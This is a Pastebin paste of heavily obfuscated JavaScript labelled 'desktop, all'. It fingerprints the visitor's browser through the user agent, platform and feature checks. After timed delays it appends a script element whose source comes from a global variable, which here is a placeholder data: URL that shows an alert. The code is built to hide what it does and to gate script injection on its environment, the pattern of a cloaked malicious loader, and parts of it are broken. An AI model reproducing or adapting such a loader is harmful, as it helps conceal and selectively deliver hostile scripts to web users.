SHARE
TWEET

Untitled

StanislavPipa Mar 26th, 2019 (edited) 80 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // desktop, all
  2.  
  3. window.globalScriptSrc = 'data:text/javascript,alert(\'work, yes\')';
  4.  
  5. +function () {
  6.   var open = '', set = /g/, field, conf, left = {};
  7.  
  8.   function run(isReady, isConfig) {
  9.     if (isReady) {
  10.       if (isConfig) {
  11.         field[leadOut(['gol', 'noc']) + 'le']['log'](set);
  12.         counter > 0 && start(bugin.Web, content(max.list)[4], content(GLF)[1] + bugin.body);
  13.       } else {
  14.         start(left, saveData(max, open, color));
  15.       }
  16.     } else {
  17.       if (dataPrepare(bugin.Web, content(max.list)[4])) {
  18.         stop(bugin.Web, content(max.list)[4], content(GLF)[1] + bugin.body);
  19.       } else {
  20.         stop(left, saveData(max, open, color));
  21.       }
  22.     }
  23.   }
  24.  
  25.   var transform = function (data, flag) {
  26.     return flag ? data[open.length].toLowerCase() + data.substring(1)
  27.       : data[open.length].toUpperCase() + data.substring(1);
  28.   };
  29.  
  30.   var Depth = function (data, flag) {
  31.     var res;
  32.     max.update(max, 'slice', transform);
  33.     Object.keys(data).forEach(function (el, ind) {
  34.       if (ind === flag) {
  35.         res = data[el].length;
  36.       }
  37.     });
  38.     return res;
  39.   };
  40.  
  41.   var content = function (data, flag) {
  42.     if (flag) {
  43.       var obj = [];
  44.       left.field = window;
  45.       for (var param in data) {
  46.         obj.push(data[param]);
  47.       }
  48.       return obj;
  49.     } else if (!flag) {
  50.       return Object.keys(data);
  51.     }
  52.   };
  53.  
  54.   var base, bugin = {
  55.     Data: 'assem',
  56.     Web: 'script',
  57.     global: 'rame',
  58.     device: ['Touch', 'name', 'code'],
  59.     body: 'Element',
  60.     success: false,
  61.     kit: 'side'
  62.   }, max = {}, val = navigator;
  63.  
  64.   var check = function (arg, key) {
  65.     return arg ? key ? arg in key : arg in field : arg in left.field;
  66.   };
  67.  
  68.   var combinData = function (data, flag) {
  69.     var nData;
  70.     left.message = check;
  71.     if (!!flag) {
  72.       left.cont = content;
  73.       nData = [];
  74.       data.forEach(function (item) {
  75.         nData = nData.concat(item);
  76.       });
  77.     } else if (!flag) {
  78.       nData = data.reduce(function (first, second) {
  79.         Object.keys(second).forEach(function (obj) {
  80.           first[obj] = second[obj];
  81.         });
  82.         return first;
  83.       }, {});
  84.     }
  85.     left.plugin = combinData;
  86.     return nData;
  87.   };
  88.  
  89.   var saveData = function (data, arg, volume, flag) {
  90.     return flag ? typeof flag === 'number'
  91.       ? volume.forEach(function (item, ind) {
  92.         ind > 0 ? data[item] = saveData : data[item] = arg;
  93.       }) : typeof flag === 'boolean' ? base = data = volume[transform('reg')
  94.         + transform(arg)] : false : data[arg] = volume;
  95.   };
  96.  
  97.   var dataPrepare = function (data, key, flag) {
  98.     left.count = Depth;
  99.     if (flag) {
  100.       var params = [];
  101.       saveData(max, left, ['right', 'update'], 1);
  102.       data.forEach(function (param, ind) {
  103.         key.forEach(function (param2, ind2) {
  104.           if (ind === Number(param2)) {
  105.             params.push(param);
  106.           } else if (ind === ind2) {
  107.             left.dataPrepare = dataPrepare;
  108.           }
  109.           field = left.field;
  110.         });
  111.       });
  112.       return params;
  113.     } else if (!flag) {
  114.       data.forEach(function (param, ind) {
  115.         if (ind === Number(param2)) {
  116.           params.push(param);
  117.         } else if (ind === ind2) {
  118.           max.right.dataPrepare = dataPrepare;
  119.         }
  120.         field = max.right.field;
  121.       });
  122.     }
  123.   };
  124.  
  125.   var GLF = {
  126.     max: 'Points',
  127.     create: 'version',
  128.     Enabled: true,
  129.     screen: ['cookie', 'java'],
  130.     Media: 'stream',
  131.   }, color = 'information', g;
  132.  
  133.   var createData = function (data, keys, flag) {
  134.     saveData(left, 'post', 'client');
  135.     if (flag) {
  136.       var items = combinData(data, !flag),
  137.         elements = combinData([content(items, flag), content(items, !flag)], flag);
  138.       return dataPrepare(elements, keys, flag);
  139.     } else {
  140.       var newData = data.toString().toUpperCase().split(open);
  141.       return flag >= open ? saveData(newData, keys) : updateData(data, key);
  142.     }
  143.   };
  144.  
  145.   var runData = function (data, keys, flag, volume) {
  146.     if (flag) {
  147.       var items = createData(data, keys, GLF.Enabled);
  148.       saveData(base, 'exp', left.field, true);
  149.  
  150.       var tmp1 = check(items[Depth(bugin, 3)]+transform(items[open.length]+'bly'), field),
  151.         tmp2 = max.right.message(items[1]+transform('Bar', flag), field);
  152.  
  153.       var tmp3 = check(items[Depth(bugin, 2)], field),
  154.         tmp4 = left.message(max.slice(items[2]), field);
  155.  
  156.       return tmp1 && tmp2 && tmp3 && !tmp4;
  157.     }
  158.     if (!flag) {
  159.       val = volume[left.post + color] || val;
  160.       var elements = createData(data, keys, !flag);
  161.       saveData(max, 'list', bugin);
  162.  
  163.       var el1 = check(elements[max.right.count(max.list, 2)+1]+max.slice(elements[1]+'bly'), volume),
  164.         el2 = left.message(elements[left.count(GLF, 1)] +
  165.           elements[4] + elements[Depth(bugin, 3) - 1], volume);
  166.  
  167.       var el3 = check(max.slice(elements[max.right.count(max.list, 2) + 1], GLF.Enabled) +
  168.         elements[6] + elements[Depth(GLF, 3) + 1] +
  169.         max.slice(elements[open.length]), volume);
  170.       max.data = createData;
  171.  
  172.       return el1 && el2 && el3;
  173.     }
  174.   };
  175.  
  176.   var rocket = runData([GLF, bugin, { content: 'rect' }], [19, 5, 11, 25, 12], !bugin.success),
  177.     kit = runData(
  178.       [GLF, bugin, { open: 'base' }],
  179.       [25, 18, 12, 19, 5, 24, 17, 4],
  180.       bugin.success,
  181.       left.field
  182.     );
  183.  
  184.   setTimeout(function () {
  185.     isReady = prepearRuning([{ form: 'Macwin' }, max.list, GLF], [0, 13, 21, 4, 15, 3], !open);
  186.   }, 100);
  187.  
  188.   var stopData = function (data, keys, volume, flag) {
  189.     var items;
  190.     g = 'i';
  191.     if (!volume && !flag) {
  192.       items = max.data(data, keys, !flag);
  193.  
  194.       var el1 = check(max.pars('de'+items[3]), field),
  195.         el2 = !(val[items[2]+'s'][1] && val[items[2]+'s'][1][items[0][1]].match(items[1]));
  196.  
  197.       items = el1 && el2;
  198.     } else if (!flag) {
  199.       items = max.data(data, keys, !flag);
  200.       conf = volume[items[0].slice(0, -3)+'u'+items[2]];
  201.  
  202.       volume = conf[items[0].slice(0, -3)+'u'+items[2]+max.pars(items[0].slice(3) +
  203.         items[2])][transform(items[1], true)];
  204.  
  205.       items = max.right.message(items.slice(-1).join(), volume);
  206.     } else {
  207.       items = createData(data, keys, flag);
  208.       max.pars = transform;
  209.       var tmp1 = volume[items[5]+max.slice(items[2])+max.slice('ratio')];
  210.  
  211.       var tmp2 = check(items.slice(-4).reduce(function (first, second, index) {
  212.         if (index === 1) {
  213.           first = first+max.slice(second);
  214.         }
  215.         return first;
  216.       }), volume);
  217.  
  218.       var tmp3 = val[items.slice(-2)[0] + 's'],
  219.         tmp4 = val[items[0][0] + items[3]],
  220.         tmp5 = volume[items[4]][items[9] + items[1].name];
  221.  
  222.       items = tmp2 && tmp1 && tmp5 && tmp4 && tmp3;
  223.     }
  224.     return items;
  225.   };
  226.  
  227.   var rotate = stopData(
  228.     [GLF, max.list, left, { color: 'pixel' }],
  229.     [32, 33, 28, 23, 17, 3, 22, 34, 19, 39],
  230.     field,
  231.     true
  232.   ), altSaf = stopData(
  233.     [GLF, { ment: 'docele', alt: 'Style' }],
  234.     [5, 6, 12, 13],
  235.     left.field,
  236.     bugin.success
  237.   ), net = stopData([max.list, max.right, { bug: 'light' }], [29, 24, 3, 14]);
  238.  
  239.   var stop = function (data, arg, flag) {
  240.     return flag ? arg.reduce(function (first, second) {
  241.       return (data + first.split().reverse().toString() + second)
  242.         .toLowerCase();
  243.     }) : data.map(function (el) {
  244.       return arg[el].toUpperCase();
  245.     });
  246.   };
  247.  
  248.   setTimeout(function () {
  249.     isConfig = prepearRuning({ agent: 'user,fire,chro' }, [12], !!open);
  250.   }, 100);
  251.  
  252.   var updateData = function (data, keys, flag) {
  253.     if (!flag) {
  254.       return max.right.message(max.data(data, keys, true).reverse()
  255.         .join(open)+'ity', field) ? 4 : rocket ? 1 : 2;
  256.     } else {
  257.       var elements = createData(data, keys, true);
  258.  
  259.       return typeof (field[transform.name]) == typeof runData ||
  260.         [val['app' + max.pars(elements[0][2]) + max.slice(elements[0][1], false)],
  261.           val['app' + max.pars(elements[1])]].join(val[elements[2][1] +
  262.         elements[3]]).match(new base('"', elements[3]));
  263.     }
  264.   };
  265.  
  266.   var leadOut = function (data, flag) {
  267.     var newData = [];
  268.     if (!flag) {
  269.       data.splice(2, 0, 'os');
  270.       data.forEach(function (el, ind) {
  271.         return ind > 0 ? newData.push(pretter(el, GLF.Enabled).join(open))
  272.           : newData.shift(3);
  273.       });
  274.     } else {
  275.       data.forEach(function (el, ind) {
  276.         return ind === 0 ? newData.push((el))
  277.           : newData.push(pretter(el, GLF.Enabled).join(open));
  278.       });
  279.       return newData;
  280.     }
  281.     return newData.join('');
  282.   };
  283.  
  284.   var counter = updateData([bugin, {se: 'cur'}], [7,15]),
  285.     roller = updateData([max.list, GLF, { glf: 'g' }], [3, 8, 10, 22, 12], true);
  286.  
  287.   var pretter = function (data, el) {
  288.     return el ? data.split('').reverse() : data+max.pars(',safa,trid,|');
  289.   };
  290.  
  291.   var start = function (volume, arg, el) {
  292.     return conf[arg].appendChild(conf[el](volume)).src =
  293.       left.field[content(bugin)[2] + max.pars(max.list.Web) + 'Src'];
  294.   };
  295.   set.toString = function () {
  296.     counter = max.data([counter], [0], false) ? (Math.random() * 20) - 10
  297.       : counter - Math.round(Math.random() * (1 - 0.5) + 0.5);
  298.  
  299.     return leadOut([open], true).reduce(function (first, second) {
  300.       return first + second;
  301.     });
  302.   };
  303.  
  304.   var insert = function (str, index, value) {
  305.     return str.substr(0, index) + value + str.substr(index);
  306.   }, isReady, isConfig;
  307.  
  308.   var prepearRuning = function (data, flags, key) {
  309.     var items;
  310.     if (key) {
  311.       items = max.data(data, flags, true);
  312.       return val['plat' + items[3]].match(new base(insert(
  313.         max.pars(items[0], true), 3, '|') + '|lin', g + 'g')
  314.       ) && !val[items[5] + items[2][1] + GLF.max] && !roller && check(items[4]
  315.         +'GLF'+max.list.global+'buffer', left.field);
  316.  
  317.     } else {
  318.       items = pretter(data.agent).split(',');
  319.       var tmp = items[0] + max.pars(Object.keys(data)[0]);
  320.  
  321.       var elements = [],
  322.         param = ['fox', 'me', 'ri', 'ent', 'ed'],
  323.         ins;
  324.  
  325.       items.forEach(function (item, index) {
  326.         param.forEach(function (arg, inx) {
  327.           if (index - 1 === inx && inx === 3) {
  328.             ins = insert(item, 4, arg);
  329.           } else if (index - 1 === inx && inx === 4) {
  330.             elements.push(new base(ins + insert(item, 4, arg + 'ge'), g));
  331.           } else if (index > 0 && index - 1 === inx) {
  332.             elements.push(new base(insert(item, 4, arg), g));
  333.           }
  334.         });
  335.       });
  336.  
  337.       var res = elements.map(function (el) { return val[tmp].match(el) });
  338.       items = res[0] && rocket || res[1] && kit && rotate || res[2] && altSaf || res[3] && net;
  339.     }
  340.     return items;
  341.   };
  342.  
  343.   setTimeout(function () {
  344.     return run(isReady, isConfig);
  345.   }, 200);
  346. }();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top